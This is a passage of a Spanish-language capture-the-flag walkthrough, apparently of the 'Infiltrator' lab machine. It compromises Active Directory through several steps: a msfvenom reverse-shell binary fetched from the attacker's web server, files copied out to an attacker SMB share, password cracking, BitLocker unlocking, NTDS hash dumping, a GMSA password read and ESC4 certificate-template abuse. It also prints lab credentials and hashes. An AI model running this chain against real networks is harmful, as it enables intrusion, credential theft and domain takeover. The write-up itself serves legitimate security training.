Al proceder a conectarnos al equipo mediante evil-winrm y, revisando el directorio AppData nos encontramos con dos archivos .db3 que quizรกs podrรญamos llegar a encontrar informaciรณn interesante. Nos descargamos ambos archivos para tenerlos localmente en nuestro equipo.

โฏ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd "C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA"
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> ls


    Directory: C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/25/2024   7:20 AM                Audios
d-----        2/25/2024   7:20 AM                CalendarFiles
d-----        2/25/2024   7:26 AM                Log
d-----        2/25/2024   7:20 AM                MailInbox
d-----        2/25/2024   7:20 AM                MailSent
d-----        2/25/2024   7:20 AM                Received Files
d-----        2/25/2024   7:20 AM                Screenshots
d-----        2/25/2024   7:20 AM                Temp
d-----        2/25/2024   7:20 AM                Theme
-a----        2/25/2024   7:20 AM          29696 OM.db3
-a----        2/25/2024   7:20 AM          13312 OT.db3


*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
                                        
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OM.db3 to OM.db3
                                        
Info: Download successful!

*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3
                                        
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OT.db3 to OT.db3
                                        
Info: Download successful!

Al revisar el archivo OM.db3 con la herramienta de sqlite3, verificamos que hemos logrado obtener la roomkey del chat Chiefs_Marketing_chat.

โฏ ls -l OM.db3
.rwxrwxr-x kali kali 31 KB Fri Jan 17 23:58:16 2025 ๏’‰ OM.db3

โฏ sqlite3 OM.db3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
om_chatroom               om_drive_files            om_preset_message       
om_chatroom_user          om_escape_message         om_reminder             
om_custom_group_new       om_hide_usergroup         om_settings             
om_custom_group_user_new  om_notes                  om_user_master          
om_custom_status          om_notes_user             om_user_photo           
sqlite> select * from om_chatroom;
1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||
sqlite>

Ya disponemos de lo que parece ser la roomkey del chat room que queremos ver sus logs.

Por lo tanto, siguiendo el API Helper de la documentaciรณn del Output Messenger que nos encontramos, procederemos a ver los logs de las fechas recientes. En la conversaciรณn con O.martinez, la conversaciรณn que mantienen es el 20 de Febrero de 2024.

En este caso, buscaremos los logs entre las fechas del 19 al 20 de febrero utilizando la roomkey. Verificamos que hemos logrado al parecer leer los logs de este chat.

Revisando los logs del chat, verificamos lo que parece ser el mensaje que decรญa O.martinez en el cual compartรญa su contraseรฑa en este grupo.

Procederemos a verificar si estas credenciales siguen siendo vรกlidas a nivel de dominio. En este caso, al parecer, la usuaria debiรณ cambiar sus credenciales por seguridad despuรฉs de recibir varias alertas de SPAM.

โฏ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'm@rtinez@1996!' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\O.martinez:m@rtinez@1996! KDC_ERR_PREAUTH_FAILED 

Logging in O.martinez in Output Messenger

De casualidad, probamos de autenticarnos con estas credenciales al Output Messenger, para verificar si el usuario habรญa cambiado tambiรฉn las credenciales en esta aplicaciรณn de mensajerรญa.

Logramos acceder con el usuario O.martinez, ademรกs logramos visualizar el grupo Chiefs_Marketing_chat en el cual efectivamente, habรญa compartido sus credenciales de acceso.

Running a malicious binary to get a Reverse Shell with a Calendar "Run application" function on Output Messenger

Revisando las funciones de la aplicaciรณn, nos encontramos que a travรฉs de crear un nuevo evento en el calendario, eramos capaces de ejecutar una aplicaciรณn.

Por lo tanto, lo que se probรณ a realizar es a crear un payload malicioso de una Reverse Shell. En este caso se utilizรณ msfvenom para crear un binario .exe malicioso que al ejecutarse nos proporcionarรญa una Reverse Shell. Compartiremos este binario malicioso a travรฉs de un servidor web.

โฏ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=444 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde otra terminal, nos pondremos en escucha para recibir la Reverse Shell.

โฏ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...

Desde el equipo Windows (atacante) el cual hemos instalado el Output Messenger, procederemos a descargar el binario malicioso y lo ejecutaremos.

PS C:\temp> wget 192.168.249.128/reverse.exe -o reverse.exe
PS C:\temp> ls

    Directory: C:\temp

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/18/2025  12:57 AM          28160 reverse.exe

PS C:\temp> .\reverse.exe

Vemos que funciona la reverse.exe, pero al ejecutarlo nosotros manualmente, el usuario que recibimos es el de nuestra mรกquina Windows (atacante).

โฏ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [192.168.249.129] 53306
Microsoft Windows [Version 10.0.19045.5371]
(c) Microsoft Corporation. All rights reserved.

C:\temp>whoami
whoami
w10\gzzcoo

C:\temp>

Por lo tanto, el objetivo serรก crear un nuevo evento para intentar y verificar si el usuario O.martinez es capaz de ejecutar el binario malicioso reverse.exe correctamente y obtener una Shell con ese usuario.

Verificamos que se ha creado correctamente el evento. Deberemos de esperar a que el tiempo transcurra y verificar si funciona o no.

En nuestro caso, intentamos adelantar la hora de Windows manualmente, y por x motivos a veces funcionaba y otras no.

Despuรฉs de diversas pruebas, logramos obtener una Shell como usuario O.martinez@infiltrator.htb.

โฏ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 53306
Microsoft Windows [Version 10.0.17763.6189]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
infiltrator\o.martinez

Privilege Escalation

Analyzing a Wireshark PCAP File

Revisamos en el directorio AppData del usuario actual si habรญa algรบn tipo de informaciรณn interesante. Comprobando en varios directorios, nos encontramos con un archivo de una captura de Wireshark.

PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> ls

    Directory C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/23/2024   4:10 AM         292244 network_capture_2024.pcapng

PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301>

Nos volveremos a montar un servidor SMB en nuestra Kali para compartirnos este archivo encontrado.

โฏ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Copiaremos el archivo mencionado al recurso compartido SMB que tenemos en nuestra Kali.

PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> copy 292244 network_capture_2024.pcapng \\10.10.16.5\smbFolder\292244 network_capture_2024.pcapng

Abriremos la captura de Wireshark obtenida, verificaremos el siguiente resultado.

En el resultado obtenido, verificamos que hay una solicitud que se descarga a travรฉs del mรฉtoddo GET, un archivo llamado BitLocker-backup.7z. Lo que intentaremos es recuperar el archivo original. Para ello, en la solicitud donde se confirmรณ la descarga con un 200 OK, haremos click derecho e ingresaremos a Seguir < HTTP Stream.

Indicaremos que muestra la Conversaciรณn completa y que el resultado se muestre en formato Raw, guardaremos el archivo en nuestro directorio de trabajo.

Verificaremos que disponemos del archivo BitLocker-backup.raw, procederemos a revisar el archivo a travรฉs de la herramienta de hexedit.

โฏ ls -l
.rw-rw-r-- kali kali 205 KB Sat Jan 18 01:58:41 2025 ๏€– BitLocker-backup.raw
.rwxr-xr-x kali kali 285 KB Sat Jan 18 01:49:49 2025 ๏’‰ network_capture_2024.pcapng

โฏ hexedit BitLocker-backup.raw

Recovering original file obtained in Wireshark capture (hexedit)

El objetivo serรก recuperar el archivo original obtenido de la captura de Wireshark. Para ello, lo primero serรก localizar en que secciรณn de la memoria empieza el archivo 7z. Segรบn ChatGPT, las cabeceras de archivos 7z empiezan normalmente por 37 7A BC AF 27 IC.

Revisando el archivo en hexadecimal y situรกndonos en la cabecera de donde empieza el archivo, vemos que en la parte inferior nos muestra que el archivo empieza por los valores 0x3A5/0x33554.

El siguiente paso serรก eliminar toda la parte superior del archivo raw. Para ello, crearemos dos variables de entorno que nos indique la posiciรณn exacta del byte y que a partir de ahรญ sobreescriba el archivo .raw.

Verificamos que hemos logrado obtener el archivo original sobreescribiendo el raw obtenido anteriormente.

โฏ echo $((0x3A5))
933

โฏ echo $((0x33554))
210260

โฏ dd if=BitLocker-backup.raw of=BitLocker-backup.7z bs=1 skip=933 count=$((210260 - 933))
209327+0 records in
209327+0 records out
209327 bytes (209 kB, 204 KiB) copied, 0,608148 s, 344 kB/s

โฏ file BitLocker-backup.7z
BitLocker-backup.7z: 7-zip archive data, version 0.4

Descromprimiremos el archivo BitLocker-backup.7z y vemos que requiere de credenciales para acceder al archivo, credenciales que no disponemos.

โฏ 7z x BitLocker-backup.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)

Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1

    
Enter password (will not be echoed)

A travรฉs de 7z2john lo que realizamos es obtener el hash de la contraseรฑa del archivo y almacenarlo en un archivo llamado hash7z.

โฏ 7z2john BitLocker-backup.7z > hash7z
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes

Al intentar crackear este hash obtenido con john, verificamos que hemos logrado crackear el hash y obtener su contraseรฑa.

โฏ john --wordlist:/usr/share/wordlists/rockyou.txt hash7z
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 209048 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zipper           (BitLocker-backup.7z)     
1g 0:00:02:50 DONE (2025-01-18 02:15) 0.005869g/s 32.49p/s 32.49c/s 32.49C/s cuteaq..pinkprincess
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Al volver a descomprimir el archivo 7z, verificamos que nos ha descomprimido correctamente el archivo.

โฏ 7z x BitLocker-backup.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)

Extracting archive: BitLocker-backup.7z
--
Path = BitLocker-backup.7z
Type = 7z
Physical Size = 209327
Headers Size = 271
Method = LZMA2:20 7zAES
Solid = -
Blocks = 1

    
Enter password (will not be echoed):
Everything is Ok

Folders: 1
Files: 1
Size:       792371
Compressed: 209327
โฏ ls -l
drwxrwxr-x kali kali 4.0 KB Mon Feb 19 19:11:00 2024 ๏„• BitLocker-backup

Decrypting BitLocker-encrypted disk via obtained recovery key and obtaining a backup of NTDS.dit

Revisando el resultado obtenido del archivo 7z, verificamos que hay un archivo HTML. Procederemos a montar un servidor web con Python para revisar el contenido del archivo.

โฏ ls
๏„ป 'Microsoft account _ Clรฉs de rรฉcupรฉration BitLocker.html'
โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Al acceder al servidor web de nuestro equipo, logramos verificar que se trata de una clave de recuperaciรณn de BitLocker.

BitLocker es una caracterรญstica de seguridad de Windows que proporciona cifrado para volรบmenes completos, que aborda las amenazas de robo de datos o exposiciรณn de dispositivos perdidos, robados o retirados inapropiadamente.

Clave obtenida: 650540-413611-429792-307362-466070-397617-148445-087043

Revisando nuevamente el archivo de Wireshark obtenido, verificamos que el usuario O.martinez realizรณ un cambio de credenciales y estas aparecen en texto plano.

Verificaremos si estas nuevas credenciales obtenidas nos permiten acceder al sistema, efectivamente hemos logrado autenticarnos correctamente.

โฏ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'M@rtinez_P@ssw0rd!' -k
SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\O.martinez:M@rtinez_P@ssw0rd! 

Revisamos en BloodHound de que el usuario O.martinez@infiltrator.htb dispone de privilegios CanRDP sobre el equipo DC01. Por lo cual podrรญamos conectarnos por RDP al Domain Controller.

Nos conectaremos mediante xfreerdp3 al DC para tener acceso remoto por RDP y tener entorno grรกfico.

โฏ xfreerdp3 /u:O.martinez /p:'M@rtinez_P@ssw0rd!' /v:10.10.11.31 /dynamic-resolution

Verificamos que disponemos del disco C: y de una unidad cifrada con BitLocker E:.

Al intentar acceder a la unidad E:, verificamos que nos requiere de credenciales para acceder. Entre las opciones nos aparece la opciรณn de Enter recovery key para introducir una clave de recuperaciรณn de BitLocker.

Ingresaremos la clave de recuperaciรณn de BitLocker que obtuvimos anteriormente para desbloquear la unidad cifrada.

Conseguimos tener acceso a la unidad E:, entre los directorios de la unidad, verificamos que en el directorio E:\Windows Server 2012 R2 - Backups\Users\Administrator\Documents disponรญa de un archivo de backup llamado Backup_Credentials.7z.

Deberemos de compartir este archivo a nuestro equipo local. Para ello, montaremos un servidor SMB que utilice las credenciales del usuario O.martinez.

โฏ smbserver.py smbFolder $(pwd) -username 'O.martinez' -password 'M@rtinez_P@ssw0rd!' -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Conectaremos esta unidad en el DC y copiaremos el archivo de Backup en nuestro recurso compartido.

Verificaremos que logramos tener el archivo de Backup, al proceder a descomprimir el archivo, verificamos que logramos disponer lo que parece ser de un Backup de los archivos NTDS.dit, SYSTEM y SECURITY.

โฏ ls -l Backup_Credentials.7z
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 ๏ Backup_Credentials.7z

โฏ 7z x Backup_Credentials.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 2055137 bytes (2007 KiB)

Extracting archive: Backup_Credentials.7z
--
Path = Backup_Credentials.7z
Type = 7z
Physical Size = 2055137
Headers Size = 250
Method = LZMA2:24
Solid = +
Blocks = 1

Everything is Ok                  

Folders: 2
Files: 3
Size:       48513024
Compressed: 2055137

โฏ ls -l
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:32 2024 ๏„• 'Active Directory'
drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:34 2024 ๏„• registry
.rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024 ๏ Backup_Credentials.7z

โฏ tree
.
โ”œโ”€โ”€ Active Directory
โ”‚   โ””โ”€โ”€ ntds.dit
โ”œโ”€โ”€ Backup_Credentials.7z
โ””โ”€โ”€ registry
    โ”œโ”€โ”€ SECURITY
    โ””โ”€โ”€ SYSTEM

3 directories, 4 files

Exportaremos los hashes NTLM del archivo NTDS.dit, verificamos que logramos obtener los hashes de todos los usuarios del AD, entre ellos las del usuario Administrator.

โฏ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
[*] Reading and decrypting hashes from Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::

Al intentar validar si podemos realizar Pass-The-Hash con este hash NTLM del usuario Administrator, comprobamos que este hash ya no es vรกlido y no podemos autenticarnos como รฉl.

โฏ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '7bf62b9c45112ffdadb7b6b4b9299dd2'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\Administrator:7bf62b9c45112ffdadb7b6b4b9299dd2 STATUS_LOGON_FAILURE 

Transforming a NTDS.dit file to SQLite file (ntdsdotsqlite)

Dado que no logramos extraer ningรบn tipo de informaciรณn ni ninguna credencial vรกlida en el NTDS.dit. Descubrimos la siguiente herramienta que nos transforma el NTDS.dit en un archivo DB para abrirlo con sqlitebrowser.

โฏ ntdsdotsqlite Active\ Directory/ntds.dit --system registry/SYSTEM -o ntds.db
100%|โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ| 3823/3823 [00:00<00:00, 5123.30it/s]

โฏ ls -l ntds.db
.rw-rw-r-- kali kali 136 KB Sat Jan 18 02:38:45 2025 ๏‡€ ntds.db

โฏ sqlitebrowser ntds.db

Al revisar en los diferentes campos, logramos verificar que aparece lo que parecen ser unas credenciales para el usuario lan_managment@infiltrator.htb.

Validaremos si estas credenciales siguen siendo vรกlidas para el usuario encontrado. Efectivamente estas credenciales nos sirven correctamente.

โฏ nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\lan_managment:l@n_M@an!1331 

Abusing ReadGMSAPassword Rights

Al revisar nuevamente en BloodHound, verificamos que el usuario que disponemos, tiene privilegios de ReadGMSAPassword sobre el objeto infiltrator_svc$@infiltrator.htb.

A travรฉs de la herramienta de bloodyAD, procederemos a leer la contraseรฑa del GMSA. Logramos obtener el hash NTLM del objeto en cuestiรณn.

โฏ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' get object 'infiltrator_svc$' --attr msDS-ManagedPassword

distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:3ec423661d68dbda6c94ff25ff4d726b
msDS-ManagedPassword.B64ENCODED: z+LzYks13ZzAJQxIZgFbQCYsOroomLTBLYJhZKhD+gD+4zAwiKZe+vu8YrR44x20SQ/ytOmb2+1cq/BV6HeCl6IW50MjiLLLBEJh8xOH8ttUJ6SNjZ8iTq2lcG38EdSSQZE/iEpiIcmKa+QAAzPvwKrKYzU+IUsQYzw9mvrRpVTad46hZ7UZBV7o9LRDNUzwkVvO+pd69ou5Ut+l4ugcjp95iRe1of4vZE2Sd3UR3vdb9RQwfYz9O22pGD7FCXIuAXdeQssQNIqgyZJa+FyEVl5cVSJHm3Z7ZJ1AmIOmhtj3SgyAtVh0iYokhQKDRtxzwU3Y6lg9fijgfb41XkVtiw==

Validamos si podemos hacer un Pass-The-Hash con este hash NTLM y el usuario, verificamos que logramos validar las credenciales correctamente.

โฏ nxc smb dc01.infiltrator.htb -u 'infiltrator_svc$' -H '3ec423661d68dbda6c94ff25ff4d726b'
SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\infiltrator_svc$:3ec423661d68dbda6c94ff25ff4d726b

ESC4 exploitation case with certipy-ad

Buscando vรญas potenciales de elevar nuestros privilegios, verificamos que este usuario, forma parte del grupo Certificate Service DCOM Access, lo cual nos replantea investigar si podemos abusar de los ADCS (Active Directory Certificate Services).

Con la herramienta de certipy-ad buscaremos si existe algรบn template que sea vulnerable. En este caso nos muestra que podemos efectuar el ESC4.

โฏ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : infiltrator-DC01-CA
    DNS Name                            : dc01.infiltrator.htb
    Certificate Subject                 : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
    Certificate Serial Number           : 724BCC4E21EA6681495514E0FD8A5149
    Certificate Validity Start          : 2023-12-08 01:42:38+00:00
    Certificate Validity End            : 2124-08-04 18:55:57+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : INFILTRATOR.HTB\Administrators
      Access Rights
        ManageCertificates              : INFILTRATOR.HTB\Administrators
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
        ManageCa                        : INFILTRATOR.HTB\Administrators
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
        Enroll                          : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : Infiltrator_Template
    Display Name                        : Infiltrator_Template
    Certificate Authorities             : infiltrator-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          PendAllRequests
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Smart Card Logon
                                          Server Authentication
                                          KDC Authentication
                                          Client Authentication
    Requires Manager Approval           : True
    Requires Key Archival               : False
    Authorized Signatures Required      : 1
    Validity Period                     : 99 years
    Renewal Period                      : 650430 hours
    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : INFILTRATOR.HTB\Local System
        Full Control Principals         : INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Owner Principals          : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Dacl Principals           : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Property Principals       : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
    [!] Vulnerabilities
      ESC4                              : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions

Realizaremos la explotaciรณn del ESC4 de los ADCS (Active Directory Certificate Services).

LogoESC4 | ADMinions

Configuraremos la template obtenida para que sea vulnerable.

โฏ certipy-ad template -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -template Infiltrator_Template -save-old -dc-ip 10.10.11.31
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'

Revisaremos nuevamente que la Template se ha modificado correctamente.

โฏ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : infiltrator-DC01-CA
    DNS Name                            : dc01.infiltrator.htb
    Certificate Subject                 : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
    Certificate Serial Number           : 724BCC4E21EA6681495514E0FD8A5149
    Certificate Validity Start          : 2023-12-08 01:42:38+00:00
    Certificate Validity End            : 2124-08-04 18:55:57+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : INFILTRATOR.HTB\Administrators
      Access Rights
        ManageCertificates              : INFILTRATOR.HTB\Administrators
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
        ManageCa                        : INFILTRATOR.HTB\Administrators
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
        Enroll                          : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : Infiltrator_Template
    Display Name                        : Infiltrator_Template
    Certificate Authorities             : infiltrator-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : None
